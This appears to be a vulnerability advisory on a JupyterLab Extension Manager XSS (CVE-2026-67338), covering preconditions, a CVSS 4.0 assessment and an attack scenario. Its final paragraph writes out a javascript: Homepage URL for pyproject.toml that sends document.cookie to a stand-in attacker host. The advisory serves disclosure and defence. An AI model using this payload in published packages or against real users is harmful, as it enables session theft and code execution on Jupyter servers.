JupyterLab CVE-2026-67338

The Extension Manager must be enabled (it is on by default in JupyterLab) and must be configured to use the public PyPI source (the default). The victim must actively click the extension name hyperlink rendered in the Extension Manager - passive browsing of the extension list without clicking does not execute the payload. The attacker must hold a valid PyPI account to publish the malicious package; the package must appear in the victim's Extension Manager search results or listed view. Exploitation is limited to the browser session context of the clicking user; on single-user local deployments impact is confined to that user's local Jupyter instance, while multi-user JupyterHub deployments expose any participating user.

The CVSS 4.0 score of 5.1 (Medium) accurately reflects the structural constraints: PR:L captures that PyPI account registration, while trivial, is a nonzero barrier, and UI:P correctly models the required click. The subsequent-system impact (SC:L/SI:L) is arguably understated for multi-user JupyterHub deployments, where the JupyterLab origin grants access to kernel execution and file I/O via the Jupyter server API - a successful XSS could escalate to notebook-level code execution or data exfiltration. No EPSS score was provided in the intelligence data, so exploitation probability cannot be independently quantified. The vulnerability is not in CISA KEV and no public exploit code has been identified, making this a patch-priority rather than emergency-response item. Single-user local deployments carry lower realistic risk; shared or cloud-hosted JupyterHub environments elevate it considerably.

An attacker registers a free PyPI account and publishes a package - plausibly named to resemble a legitimate Jupyter extension - with [project.urls] Homepage = javascript:fetch('https://attacker.example/steal?c='+document.cookie) in its pyproject.toml. When a JupyterLab user searches the Extension Manager and clicks the extension name, the payload fires in the JupyterLab origin and exfiltrates session cookies or issues authenticated requests to the Jupyter server API. No public exploit code has been identified, but the technique requires only standard PyPI packaging knowledge.